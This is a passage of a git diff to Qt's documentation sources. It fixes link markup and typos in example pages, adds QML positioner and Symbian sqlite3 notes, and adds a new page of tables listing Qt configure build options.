+ \image audiooutput-example.png
+
This example provides a tone generator to supply continuous audio playback.
The first button allows pause and resume of the playback.
The second button allows toggling between push and pull modes of operation.
diff --git a/doc/src/examples/basicgraphicslayouts.qdoc b/doc/src/examples/basicgraphicslayouts.qdoc
index 11b99f3..0110e29 100644
--- a/doc/src/examples/basicgraphicslayouts.qdoc
+++ b/doc/src/examples/basicgraphicslayouts.qdoc
@@ -133,19 +133,19 @@
\snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 2
- The reimplementation of {QGraphicsItem::boundingRect()}{boundingRect()}
+ The reimplementation of \l{QGraphicsItem::}{boundingRect()}
will set the top left corner at (0,0), and the size of it will be
the size of the layout items
- {QGraphicsLayoutItem::geometry()}{geometry()}. This is the area that
+ \l{QGraphicsLayoutItem::}{geometry()}. This is the area that
we paint within.
\snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 3
- The reimplementation of {QGraphicsLayoutItem::setGeometry()}{setGeometry()}
+ The reimplementation of \l{QGraphicsLayoutItem::setGeometry()}{setGeometry()}
simply calls its baseclass implementation. However, since this will change
the boundingRect we must also call
- {QGraphicsItem::prepareGeometryChange()}{prepareGeometryChange()}.
+ \l{QGraphicsItem::prepareGeometryChange()}{prepareGeometryChange()}.
Finally, we move the item according to \c geom.topLeft().
\snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 4
diff --git a/doc/src/examples/combowidgetmapper.qdoc b/doc/src/examples/combowidgetmapper.qdoc
index 1a9bf5a..897d135 100644
--- a/doc/src/examples/combowidgetmapper.qdoc
+++ b/doc/src/examples/combowidgetmapper.qdoc
@@ -32,7 +32,7 @@
The Delegate Widget Mapper example shows how to use a custom delegate to
map information from a model to specific widgets on a form.
- \image combo-widget-mapper.png
+ \image combowidgetmapper-example.png
In the \l{Simple Widget Mapper Example}, we showed the basic use of a
widget mapper to relate data exposed by a model to simple input widgets
diff --git a/doc/src/examples/concentriccircles.qdoc b/doc/src/examples/concentriccircles.qdoc
index dc17871..315469b 100644
--- a/doc/src/examples/concentriccircles.qdoc
+++ b/doc/src/examples/concentriccircles.qdoc
@@ -192,7 +192,7 @@
\snippet examples/painting/concentriccircles/window.h 0
- We declare the various components of the main window, i.e the text
+ We declare the various components of the main window, i.e., the text
labels and a double array that will hold reference to the four \c
{CircleWidget}s. In addition we declare the private \c
createLabel() function to simplify the constructor.
diff --git a/doc/src/examples/drilldown.qdoc b/doc/src/examples/drilldown.qdoc
index bc45db3..8739270 100644
--- a/doc/src/examples/drilldown.qdoc
+++ b/doc/src/examples/drilldown.qdoc
@@ -444,7 +444,7 @@
Finally, we store the location ID that this particular record is
associated with as well as a z-value. In the \l {Graphics View
Framework}, an item's z-value determines its position in the item
- stack. An item of high Z-value will be drawn on top of an item
+ stack. An item of high z-value will be drawn on top of an item
with a lower z-value if they share the same parent item. We also
provide an \c updateItemPosition() function to refresh the view
when required.
diff --git a/doc/src/examples/elasticnodes.qdoc b/doc/src/examples/elasticnodes.qdoc
index d6676e8..bba6d90 100644
--- a/doc/src/examples/elasticnodes.qdoc
+++ b/doc/src/examples/elasticnodes.qdoc
@@ -77,12 +77,12 @@
function is called to calculate the forces that push and pull on this node
and its neighbors.
- The \c Node class also reimplements
- \l{QGraphicsItem::itemChange()}{itemChange()} to react to state changes (in
- this case, position changes), and
- \l{QGraphicsItem::mousePressEvent()}{mousePressEvent()} and
- \l{QGraphicsItem::mouseReleaseEvent()}{mouseReleaseEvent()} to update the
- item's visual appearance.
+ The \c Node class also reimplements
+ \l{QGraphicsItem::itemChange()}{itemChange()} to react to state changes (in
+ this case, position changes), and
+ \l{QGraphicsItem::mousePressEvent()}{mousePressEvent()} and
+ \l{QGraphicsItem::mouseReleaseEvent()}{mouseReleaseEvent()} to update the
+ item's visual appearance.
We will start reviewing the \c Node implementation by looking at its
constructor:
@@ -242,7 +242,7 @@
The \c adjust() function repositions the edge, and the item also implements
\l{QGraphicsItem::boundingRect()}{boundingRect()} and
- \{QGraphicsItem::paint()}{paint()}.
+ \l{QGraphicsItem::paint()}{paint()}.
We will now review its implementation.
diff --git a/doc/src/examples/fancybrowser.qdoc b/doc/src/examples/fancybrowser.qdoc
index 4121904..b46903d 100644
--- a/doc/src/examples/fancybrowser.qdoc
+++ b/doc/src/examples/fancybrowser.qdoc
@@ -118,7 +118,7 @@
using CSS.
\snippet examples/webkit/fancybrowser/mainwindow.cpp 8
-
+
The \c rotateImages() function rotates the images on the current
web page. Webkit supports CSS transforms and this JavaScript code
looks up all \e {img} elements and rotates the images 180 degrees
@@ -127,7 +127,7 @@
\snippet examples/webkit/fancybrowser/mainwindow.cpp 9
The remaining four methods remove different elements from the current web
- page. \c removeGifImages() removes all Gif images on the page by looking up
+ page. \c removeGifImages() removes all GIF images on the page by looking up
the \e {src} attribute of all the elements on the web page. Any element with
a \e {gif} file as its source is removed. \c removeInlineFrames() removes all
\e {iframe} or inline elements. \c removeObjectElements() removes all
diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc
index 46af110..bbea19b 100644
--- a/doc/src/examples/qml-examples.qdoc
+++ b/doc/src/examples/qml-examples.qdoc
@@ -68,7 +68,7 @@
\title Animation: States Example
\example declarative/animation/states
- These examples show how to use \l{States}{states} and \l{Transitions}{transitions}.
+ These examples show how to use \l{State}{states} and \l{Transition}{transitions}.
The \c states.qml example shows how an item can change between states, and \c transitions.qml
shows how these state changes can be animated.
@@ -270,16 +270,26 @@
*/
/*!
- \title Positioners Example
- \example declarative/positioners
+ \title Positioners: Adding and Removing Items Example
+ \example declarative/positioners/addandremove
- This example shows how to use positioner elements such as \l Row, \l Column,
- \l Grid and \l Flow.
+ This example shows how to use the positioner elements such as \l Row, \l Column,
+ \l Grid and \l Flow, in particular how to add and remove items with appropriate transitions.
\image qml-positioners-example.png
*/
/*!
+ \title Positioners: Layout Direction Example
+ \example declarative/positioners/layoutdirection
+
+ This example shows how to control the horizontal layout direction of
+ \l Row, \l Grid and \l Flow positioners.
+
+ \image qml-positioners-layoutdirection-example.png
+*/
+
+/*!
\title Key Interaction: Focus Example
\example declarative/keyinteraction/focus
@@ -664,7 +674,7 @@
This example shows how to create a tab widget. It also demonstrates how
\l {Property aliases}{property aliases} and
- \l {Default Properties}{default properties} can be used to collect and
+ \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and
assemble the child items declared within an \l Item.
\image qml-tabwidget-example.png
diff --git a/doc/src/examples/qml-folderlistmodel.qdoc b/doc/src/examples/qml-folderlistmodel.qdoc
index c9d248e..0a01ce0 100644
--- a/doc/src/examples/qml-folderlistmodel.qdoc
+++ b/doc/src/examples/qml-folderlistmodel.qdoc
@@ -41,10 +41,15 @@ making the model available to QML.
\section1 Usage from QML
-The type we are creating can be used from QML like this:
+The FolderListModel can be used from QML like this:
\snippet doc/src/snippets/declarative/folderlistmodel.qml 0
+This displays a list of all subfolders and QML files in the current folder.
+
+The FolderListModel \c folder property can be set to change the folder that
+is currently displayed.
+
\section1 Defining the Model
We are subclassing QAbstractListModel which will allow us to give data to QML and
diff --git a/doc/src/examples/svgalib.qdoc b/doc/src/examples/svgalib.qdoc
index b69bead..e13cd7f 100644
--- a/doc/src/examples/svgalib.qdoc
+++ b/doc/src/examples/svgalib.qdoc
@@ -322,9 +322,8 @@
\snippet examples/qws/svgalib/svgalibsurface.h 0
We can implement most of the pure virtual functions inherited from
- QWSWindowSurface as trivial inline functions, except the
- \l {QWindowSurface::}{scroll()} function that actually makes use
- of some hardware acceleration:
+ QWSWindowSurface as trivial inline functions, except the scroll()
+ function that actually makes use of some hardware acceleration:
\snippet examples/qws/svgalib/svgalibsurface.cpp 0
diff --git a/doc/src/examples/textfinder.qdoc b/doc/src/examples/textfinder.qdoc
index 31fe785..e92bb98 100644
--- a/doc/src/examples/textfinder.qdoc
+++ b/doc/src/examples/textfinder.qdoc
@@ -80,7 +80,7 @@
\snippet examples/uitools/textfinder/textfinder.h 0
- The slot \c{on_find_Button_clicked()} is a slot named according to the
+ The slot \c{on_findButton_clicked()} is a slot named according to the
\l{Using a Designer UI File in Your Application#Automatic Connections}
{Automatic Connection} naming convention required
by \c uic.
diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc
index 4003e56..7639324 100644
--- a/doc/src/external-resources.qdoc
+++ b/doc/src/external-resources.qdoc
@@ -453,3 +453,8 @@
\externalpage http://www.libusb.org/
\title libusb
*/
+
+/*!
+ \externalpage http://publicsuffix.org/
+ \title publicsuffix.org
+*/
diff --git a/doc/src/frameworks-technologies/plugins-howto.qdoc b/doc/src/frameworks-technologies/plugins-howto.qdoc
index 3dc2996..b332d57 100644
--- a/doc/src/frameworks-technologies/plugins-howto.qdoc
+++ b/doc/src/frameworks-technologies/plugins-howto.qdoc
@@ -48,7 +48,7 @@
\ingroup frameworks-technologies
\ingroup qt-basic-concepts
-
+
\keyword QT_DEBUG_PLUGINS
\keyword QT_NO_PLUGIN_CHECK
@@ -87,7 +87,7 @@
directory.
\table
- \header \o Base Class \o Directory Name \o Key Case Sensitivity
+ \header \o Base Class \o Directory Name \o Key Case Sensitivity
\row \o QAccessibleBridgePlugin \o \c accessiblebridge \o Case Sensitive
\row \o QAccessiblePlugin \o \c accessible \o Case Sensitive
\row \o QDecorationPlugin \o \c decorations \o Case Insensitive
@@ -309,5 +309,10 @@
to make sure that the \c{QT_STATICPLUGIN} preprocessor macro is
defined.
+ \section1 Deploying and Debugging Plugins
+
+ The \l{Deploying Plugins} document covers the process of deploying
+ plugins with applications and debugging them when problems arise.
+
\sa QPluginLoader, QLibrary, {Plug & Paint Example}
*/
diff --git a/doc/src/frameworks-technologies/richtext.qdoc b/doc/src/frameworks-technologies/richtext.qdoc
index 7a5a6a6..089f84d 100644
--- a/doc/src/frameworks-technologies/richtext.qdoc
+++ b/doc/src/frameworks-technologies/richtext.qdoc
@@ -37,6 +37,7 @@
\ingroup frameworks-technologies
\ingroup qt-basic-concepts
+ \ingroup best-practices
\nextpage Rich Text Document Structure
diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc
index a68b211..ad97836 100644
--- a/doc/src/getting-started/examples.qdoc
+++ b/doc/src/getting-started/examples.qdoc
@@ -490,10 +490,12 @@
\image ipc-examples.png
\list
- \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster
- \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster
+ \o \l{ipc/localfortuneclient}{Local Fortune Client}
+ \o \l{ipc/localfortuneserver}{Local Fortune Server}
\o \l{ipc/sharedmemory}{Shared Memory}\raisedaster
\endlist
+
+ Examples marked with an asterisk (*) are fully documented.
*/
/*!
diff --git a/doc/src/getting-started/gettingstarted.qdoc b/doc/src/getting-started/gettingstarted.qdoc
index 2b8078e..502fb65 100644
--- a/doc/src/getting-started/gettingstarted.qdoc
+++ b/doc/src/getting-started/gettingstarted.qdoc
@@ -33,7 +33,7 @@
\section1
Creating applications using Qt and QML is easy enough once you get started.
To get you started we have created two tutorials creating two similar applications,
- but using diiferent approaches. One tutorial implements the user interface using
+ but using different approaches. One tutorial implements the user interface using
QML, while the other implements the whole application using traditional Qt.
Please click on the links below to start the ride.
diff --git a/doc/src/getting-started/gettingstartedqml.qdoc b/doc/src/getting-started/gettingstartedqml.qdoc
index 13f1192..ccb9771 100644
--- a/doc/src/getting-started/gettingstartedqml.qdoc
+++ b/doc/src/getting-started/gettingstartedqml.qdoc
@@ -133,7 +133,7 @@
the interactive area where mouse movements are detected. For our button, we anchor the
whole MouseArea to its parent, which is \c simplebutton. The \c anchors.fill syntax is
one way of accessing a specific property called \c fill inside a group of properties
- called \c anchors. QML uses \l {Anchor-based Layout in QML}{anchor based layouts} where
+ called \c anchors. QML uses \l {Anchor-Based Layout in QML}{anchor-based layouts} where
items can anchor to another item, creating robust layouts.
The \c MouseArea has many signal handlers that are called during mouse movements within
diff --git a/doc/src/getting-started/how-to-learn-qt.qdoc b/doc/src/getting-started/how-to-learn-qt.qdoc
index 5c1e5ca..239c8a1 100644
--- a/doc/src/getting-started/how-to-learn-qt.qdoc
+++ b/doc/src/getting-started/how-to-learn-qt.qdoc
@@ -51,9 +51,9 @@
key overviews to deepen your understanding of Qt: The Qt \l{Object
Model} and \l{Signals and Slots}.
- \beginfloatleft
+ \div{float-left}
\inlineimage qtdemo-small.png
- \endfloat
+ \enddiv
\section1 Getting an Overview
diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc
index 4b4dab5..6d0256e 100644
--- a/doc/src/getting-started/installation.qdoc
+++ b/doc/src/getting-started/installation.qdoc
@@ -874,9 +874,10 @@ If the installation fails, please make sure that there is
no previously installed version of Qt on the phone.
Qt requires some dependent packages to be installed on the device,
-they are shipped in the Symbian SDK and can be installed using the
-runonphone tool as well.
-The packages can be found in the EPOCROOT at the following locations;
+which can be installed using the runonphone tool as well. One is
+the \c{sqlite3.sis}, which is included in the Qt distribution, while
+the others are shipped with the Symbian SDK. The required packages
+can be found from the following locations:
\snippet doc/src/snippets/code/doc_src_installation.qdoc 50
@@ -1028,9 +1029,9 @@ We hope you will enjoy using Qt.
Qt from its source code, you will also need to install the development
packages for these libraries for your system.
- \table 90%
- \header \o Name \o Library \o Notes \o Configuration options \o Minimum working version
\raw HTML
+ <table class="generic">
+ <thead><tr class="qt-style topAlign"><th>Name</th><th>Library</th><th>Notes</th><th>Configuration options</th><th>Minimum working version
<tr id="OptionalColor">
<td> XRender </td><td> libXrender </td><td> X Rendering Extension; used for anti-aliasing</td>
<td><tt>-xrender</tt> or auto-detected</td><td>0.9.0</td>
@@ -1077,9 +1078,9 @@ We hope you will enjoy using Qt.
</tr><tr id="PthreadColor">
<td> pthread </td><td> libpthread </td><td> Multithreading</td>
<td></td><td>2.3.5</td>
- </tr>
+ </tr></th></tr></thead>
+ </table>
\endraw
- \endtable
\note You must compile with XRender support to get alpha transparency
support for pixmaps and images.
@@ -1167,8 +1168,9 @@ We hope you will enjoy using Qt.
{Windows Mobile 6 Professional/Standard}
\endlist
+ \bold{Note:}
\table
- \row \bold{Note:}
+ \row
\o
\list 1
\o Currently, there is only compile support for Windows CE 5.0
@@ -1273,10 +1275,18 @@ We hope you will enjoy using Qt.
in this release.
\endlist
- Running Qt on real device requires the Open C to be installed on the device.
- The Open C installation packages are embedded into \c{qt_installer.sis}, which is included in
- Qt for Symbian binary package. If you are building Qt from scratch, you can find the
- required packages in the Symbian SDK where you installed Open C/C++:
+ Running Qt on real device requires the Open C and sqlite3 to be installed on the device.
+ These installation packages are embedded into \c{qt_installer.sis}, which is included in
+ Qt for Symbian binary package.
+
+ If you are building Qt from scratch, you can find the sqlite3 package from
+ under your Qt installation:
+
+ \list
+ \o \c{src\s60installs\sqlite3.sis}
+ \endlist
+
+ The Open C packages you can find in the Symbian SDK where you installed Open C/C++:
\list
\o \c{nokia_plugin\openc\s60opencsis\pips_s60_<version>.sis}
\o \c{nokia_plugin\openc\s60opencsis\openc_ssl_s60_<version>.sis}
@@ -1297,3 +1307,290 @@ We hope you will enjoy using Qt.
\sa {Known Issues}
*/
+
+/*!
+ \page configure-options.html
+ \title Configure options for Qt
+ \ingroup installation
+ \brief Brief description of available options building Qt.
+
+ This page gives a brief description of the different options
+ available when building Qt using configure. To build Qt using
+ default options, just call configure from the command line like
+ showed below. If you would like to customize your build, please
+ use the options listed in the following tables.
+
+ \c {.\configure.exe}
+
+ \section2 Cross platform options:
+
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-buildkey } <key> \o Build the Qt library and plugins
+ using the specified \o
+ \row \o \c {<key>} \o When the library loads plugins, it will only
+ load those that have a matching <key>. \o
+ \row \o \c {-release } \o Compile and link Qt with debugging turned off. \o
+ \row \o \c {-debug } \o Compile and link Qt with debugging turned on.
+ \o Defualt value.
+ \row \o \c {-debug-and-release} \o Compile and link two Qt libraries,
+ with and without debugging turned on. \o This option denotes a default
+ value and needs to be evaluated. If the evaluation succeeds, the
+ feature is included.
+ \row \o \c {-opensource} \o Compile and link the Open-Source Edition
+ of Qt. \o
+ \row \o \c {-commercial } \o Compile and link the Commercial Edition
+ of Qt. \o
+ \row \o \c {-developer-build} \o Compile and link Qt with Qt developer
+ options including auto-tests exporting) \o
+ \row \o \c {-shared} \o Create and use shared Qt libraries. \o Defualt
+ value.
+ \row \o \c {-static} \o Create and use static Qt libraries. \o
+ \row \o \c {-ltcg} \o Use Link Time Code Generation. \o Apply to release
+ builds only.
+ \row \o \c {-no-ltcg} \o Do not use Link Time Code Generation. \o Defualt
+ value.
+ \row \o \c {-no-fast} \o Configure Qt normally by generating Makefiles for
+ all project files. \o Defualt value.
+ \row \o \c {-fast} \o Configure Qt quickly by generating Makefiles only for
+ library and subdirectory targets. \o All other Makefiles are created as
+ wrappers which will in turn run qmake.
+ \row \o \c {-no-exceptions} \o Disable exceptions on platforms that support
+ it. \o
+ \row \o \c {-exceptions} \o Enable exceptions on platforms that support it.
+ \o Defualt value.
+ \row \o \c {-no-accessibility} \o Do not compile Windows Active
+ Accessibility support. \o
+ \row \o \c {-accessibility} \o Compile Windows Active Accessibility
+ support. \o Defualt value.
+ \row \o \c {-no-stl} \o Do not compile STL support. \o
+ \row \o \c {-stl} \o Compile STL support. \o Defualt value.
+ \row \o \c {-no-sql-<driver>} \o Disable SQL <driver> entirely, by default
+ none are turned on. \o
+ \row \o \c {-qt-sql-<driver>} \o Enable a SQL <driver> in the Qt Library.
+ \o
+ \row \o \c {-plugin-sql-<driver>} \o Enable SQL <driver> as a plugin to be
+ linked to at run time. \o Available values for <driver>: mysql, psql,
+ oci, odbc, tds, db2, sqlite, sqlite2, ibase. Drivers marked with a
+ '+' during configure have been detected as available on this system.
+ \row \o \c {-system-sqlite} \o Use sqlite from the operating system. \o
+ \row \o \c {-no-qt3support} \o Disables the Qt 3 support functionality. \o
+ \row \o \c {-no-opengl} \o Disables OpenGL functionality \o
+ \row \o \c {-opengl <api>} \o Enable OpenGL support with specified API
+ version. \o Available values for <api>: desktop - Enable support for
+ Desktop OpenGL (Default), es1 - Enable support for OpenGL ES Common
+ Profile, es2 - Enable support for OpenGL ES 2.0.
+ \row \o \c {-no-openvg} \o Disables OpenVG functionality \o Defualt value.
+ \row \o \c {-openvg} \o Enables OpenVG functionality \o Requires EGL
+ support, typically supplied by an OpenGL or other graphics
+ implementation.
+ \row \o \c {-platform <spec> } \o The operating system and compiler you
+ are building on. \o The default value is %QMAKESPEC%.
+ \row \o \c {-xplatform <spec> } \o The operating system and compiler you
+ are cross compiling to. \o See the README file for a list of supported
+ operating systems and compilers.
+ \row \o \c {-qtnamespace <namespace>} \o Wraps all Qt library code in
+ 'namespace name {..} \o
+ \row \o \c {-qtlibinfix <infix>} \o Renames all Qt* libs to Qt*<infix>
+ \o
+ \row \o \c {-D <define>} \o Add an explicit define to the preprocessor.
+ \o
+ \row \o \c {-I <includepath>} \o Add an explicit include path. \o
+ \row \o \c {-L <librarypath>} \o Add an explicit library path. \o
+ \row \o \c {-l <libraryname>} \o Add an explicit library name, residing
+ in a librarypath. \o
+ \row \o \c {-graphicssystem <sys>} \o Specify which graphicssystem should
+ be used. \o Available values for <sys>: * raster - Software rasterizer,
+ opengl - Using OpenGL acceleration, experimental!, openvg - Using
+ OpenVG acceleration, experimental!
+ \row \o \c {-help, -h, -?} \o Display this information. \o
+ \endtable
+
+ \section2 Third Party Libraries:
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-qt-zlib} \o Use the zlib bundled with Qt. \o
+ \row \o \c {-system-zlib} \o Use zlib from the operating system.
+ \o See http://www.gzip.org/zlib
+ \row \o \c {-no-gif} \o Do not compile GIF reading support.
+ \o This option denotes a default value and needs to be evaluated.
+ If the evaluation succeeds, the feature is included.
+ \row \o \c {-qt-gif} \o Compile GIF reading support. \o See also
+ src/gui/image/qgifhandler_p.h
+ \row \o \c {-no-libpng} \o Do not compile PNG support. \o
+ \row \o \c {-qt-libpng} \o Use the libpng bundled with Qt.
+ \o This option denotes a default value and needs to be evaluated.
+ If the evaluation succeeds, the feature is included.
+ \row \o \c {-system-libpng} \o Use libpng from the operating system.
+ \o See http://www.libpng.org/pub/png
+ \row \o \c {-no-libmng} \o Do not compile MNG support. \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-qt-libmng} \o Use the libmng bundled with Qt. \o
+ \row \o \c {-system-libmng} \o Use libmng from the operating system.
+ \o See See http://www.libmng.com
+ \row \o \c {-no-libtiff} \o Do not compile TIFF support. \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-qt-libtiff} \o Use the libtiff bundled with Qt. \o
+ \row \o \c {-system-libtiff} \o Use libtiff from the operating system.
+ \o See http://www.libtiff.org
+ \row \o \c {-no-libjpeg} \o Do not compile JPEG support. \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-qt-libjpeg} \o Use the libjpeg bundled with Qt. \o
+ \row \o \c {-system-libjpeg} \o Use libjpeg from the operating system.
+ \o See http://www.ijg.org. This option denotes a default value and
+ needs to be evaluated. If the evaluation succeeds, the feature is
+ included.
+ \endtable
+
+ \section2 Qt for Windows only:
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-no-dsp} \o Do not generate VC++ .dsp files. \o
+ \row \o \c {-dsp} \o Generate VC++ .dsp files, only if spec "win32-msvc".
+ \o Defualt value.
+ \row \o \c {-no-vcproj} \o Do not generate VC++ .vcproj files. \o
+ \row \o \c {-vcproj} \o Generate VC++ .vcproj files, only if platform
+ "win32-msvc.net". \o Defualt value.
+ \row \o \c {-no-incredibuild-xge} \o Do not add IncrediBuild XGE distribution
+ commands to custom build steps. \o
+ \row \o \c {-incredibuild-xge} \o Add IncrediBuild XGE distribution commands
+ to custom build steps. This will distribute MOC and UIC steps, and other
+ custom buildsteps which are added to the INCREDIBUILD_XGE variable.
+ \o The IncrediBuild distribution commands are only added to Visual Studio
+ projects. This option denotes a default value and needs to be evaluated.
+ If the evaluation succeeds, the feature is included.
+ \row \o \c {-no-plugin-manifests} \o Do not embed manifests in plugins. \o
+ \row \o \c {-plugin-manifests} \o Embed manifests in plugins.
+ \o Defualt value.
+ \row \o \c {-no-qmake} \o Do not compile qmake. \o
+ \row \o \c {-qmake} \o Compile qmake. \o Defualt value
+ \row \o \c {-dont-process} \o Do not generate Makefiles/Project files. This
+ will override -no-fast if specified. \o
+ \row \o \c {-process} \o Generate Makefiles/Project files. \o Defualt value.
+ \row \o \c {-no-rtti} \o Do not compile runtime type information. \o
+ \row \o \c {-rtti} \o Compile runtime type information. \o Defualt value.
+ \row \o \c {-no-mmx} \o Do not compile with use of MMX instructions \o
+ \row \o \c {-mmx} \o Compile with use of MMX instructions \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-3dnow} \o Do not compile with use of 3DNOW instructions \o
+ \row \o \c {-3dnow} \o Compile with use of 3DNOW instructions \o This
+ option denotes a default value and needs to be evaluated. If the
+ evaluation succeeds, the feature is included.
+ \row \o \c {-no-sse} \o Do not compile with use of SSE instructions \o
+ \row \o \c {-sse} \o Compile with use of SSE instructions \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-sse2} \o Do not compile with use of SSE2 instructions \o
+ \row \o \c {-sse2} \o Compile with use of SSE2 instructions \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-openssl} \o Do not compile in OpenSSL support \o
+ \row \o \c {-openssl} \o Compile in run-time OpenSSL support \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-openssl-linked} \o Compile in linked OpenSSL support \o
+ \row \o \c {-no-dbus} \o Do not compile in D-Bus support \o
+ \row \o \c {-dbus} \o Compile in D-Bus support and load libdbus-1 dynamically.
+ \o This option denotes a default value and needs to be evaluated.
+ If the evaluation succeeds, the feature is included.
+ \row \o \c {-dbus-linked} \o Compile in D-Bus support and link to
+ libdbus-1 \o
+ \row \o \c {-no-phonon} \o Do not compile in the Phonon module \o
+ \row \o \c {-phonon} \o Compile the Phonon module. \o Phonon is built if a
+ decent C++ compiler is used. This option denotes a default value and needs
+ to be evaluated. If the evaluation succeeds, the feature is included.
+ \row \o \c {-no-phonon-backend} \o Do not compile the platform-specific
+ Phonon backend-plugin \o
+ \row \o \c {-phonon-backend} \o Compile in the platform-specific Phonon
+ backend-plugin \o Defualt value.
+ \row \o \c {-no-multimedia} \o Do not compile the multimedia module \o
+ \row \o \c {-multimedia} \o Compile in multimedia module \o Defualt value.
+ \row \o \c {-no-audio-backend} \o Do not compile in the platform audio
+ backend into QtMultimedia \o
+ \row \o \c {-audio-backend} \o Compile in the platform audio backend into
+ QtMultimedia \o This option denotes a default value and needs to be
+ evaluated. If the evaluation succeeds, the feature is included.
+ \row \o \c {-no-webkit} \o Do not compile in the WebKit module \o
+ \row \o \c {-webkit} \o Compile in the WebKit module \o WebKit is built
+ if a decent C++ compiler is used. This option denotes a default value
+ and needs to be evaluated. If the evaluation succeeds, the feature is
+ included.
+ \row \o \c {-webkit-debug} \o Compile in the WebKit module with debug
+ symbols. \o
+ \row \o \c {-no-script} \o Do not build the QtScript module. \o
+ \row \o \c {-script} \o Build the QtScript module. \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-scripttools} \o Do not build the QtScriptTools module. \o
+ \row \o \c {-scripttools} \o Build the QtScriptTools module. \o This
+ option denotes a default value and needs to be evaluated. If the
+ evaluation succeeds, the feature is included.
+ \row \o \c {-no-declarative} \o Do not build the declarative module \o
+ \row \o \c {-declarative} \o Build the declarative module \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-declarative-debug} \o Do not build the declarative debugging
+ support \o
+ \row \o \c {-declarative-debug} \o Build the declarative debugging support
+ \o Defualt value.
+ \row \o \c {-arch <arch>} \o Specify an architecture. \o Available values for
+ <arch>: * windows, windowsce, symbian, boundschecker, generic.
+ \row \o \c {-no-style-<style>} \o Disable <style> entirely. \o
+ \row \o \c {-qt-style-<style>} \o Enable <style> in the Qt Library.
+ \o Available styles: * windows, + windowsxp, + windowsvista,
+ * plastique, * cleanlooks, * motif, * cde, windowsce, windowsmobile,
+ s60
+ \row \o \c {-no-native-gestures} \o Do not use native gestures on Windows 7.
+ \o
+ \row \o \c {-native-gestures} \o Use native gestures on Windows 7.
+ \o Defualt value.
+ \row \o \c {-no-mp} \o Do not use multiple processors for compiling with MSVC
+ \o Defualt value.
+ \row \o \c {-mp} \o Use multiple processors for compiling with MSVC (-MP) \o
+ \row \o \c {-loadconfig <config>} \o Run configure with the parameters from file
+ configure_<config>.cache. \o
+ \row \o \c {-saveconfig <config>} \o Run configure and save the parameters in
+ file configure_<config>.cache. \o
+ \row \o \c {-redo} \o Run configure with the same parameters as last time. \o
+\endtable
+
+\section2 Qt for Windows CE only:
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-no-iwmmxt} \o Do not compile with use of IWMMXT instructions \o
+ \row \o \c {-iwmmxt} \o Do compile with use of IWMMXT instructions. \o This is
+ for Qt for Windows CE on Arm only. This option denotes a default value and
+ needs to be evaluated. If the evaluation succeeds, the feature is included.
+ \row \o \c {-no-crt} \o Do not add the C runtime to default deployment rules.
+ \o Defualt value.
+ \row \o \c {-qt-crt} \o Qt identifies C runtime during project generation \o
+ \row \o \c {-crt <path>} \o Specify path to C runtime used for project
+ generation. \o
+ \row \o \c {-no-cetest} \o Do not compile Windows CE remote test application \o
+ \row \o \c {-cetest} \o Compile Windows CE remote test application \o This
+ option denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-signature <file>} \o Use file for signing the target project \o
+ \row \o \c {-phonon-wince-ds9} \o Enable Phonon Direct Show 9 backend for
+ Windows CE \o Defualt value
+ \endtable
+
+ \section2 Qt for Symbian OS only:
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-no-freetype} \o Do not compile in Freetype2 support.
+ \o Defualt value.
+ \row \o \c {-qt-freetype} \o Use the libfreetype bundled with Qt. \o
+ \row \o \c {-fpu <flags>} \o VFP type on ARM, supported options:
+ softvfp(default) |vfpv2 | softvfp+vfpv2 \o
+ \row \o \c {-no-s60} \o Do not compile in S60 support. \o
+ \row \o \c {-s60} \o Compile with support for the S60 UI Framework
+ \o Defualt value.
+ \row \o \c {-no-usedeffiles} \o Disable the usage of DEF files. \o
+ \row \o \c {-usedeffiles} \o Enable the usage of DEF files. \o
+ \endtable
+*/
diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc
index 7cc3346..0dc5d5e 100644
--- a/doc/src/howtos/HWacceleration.qdoc
+++ b/doc/src/howtos/HWacceleration.qdoc
@@ -27,7 +27,7 @@
/*!
\page HWAcc_rendering.html
- \title Hardware Acceleration &amp Embedded Platforms.
+ \title Hardware Acceleration and Embedded Platforms.
\brief How to use hardware acceleration for fast rendering.
\ingroup best-practices
@@ -45,11 +45,11 @@
\input platforms/emb-hardwareacceleration.qdocinc
\section1 Supported platforms
- Since there might be differences to how the APIs are being used on
- the different embedded platforms, this table provides you with links to
- pages dedicated to platform specific documentation for each
- supported hardware acceleration API. Click the API link for the
- platform to go the correct documentation.
+ Since there might be differences to how the APIs are being used on
+ the different embedded platforms, this table provides you with links to
+ pages dedicated to platform specific documentation for each
+ supported hardware acceleration API. Click the API link for the
+ platform to go the correct documentation.
\table
\header
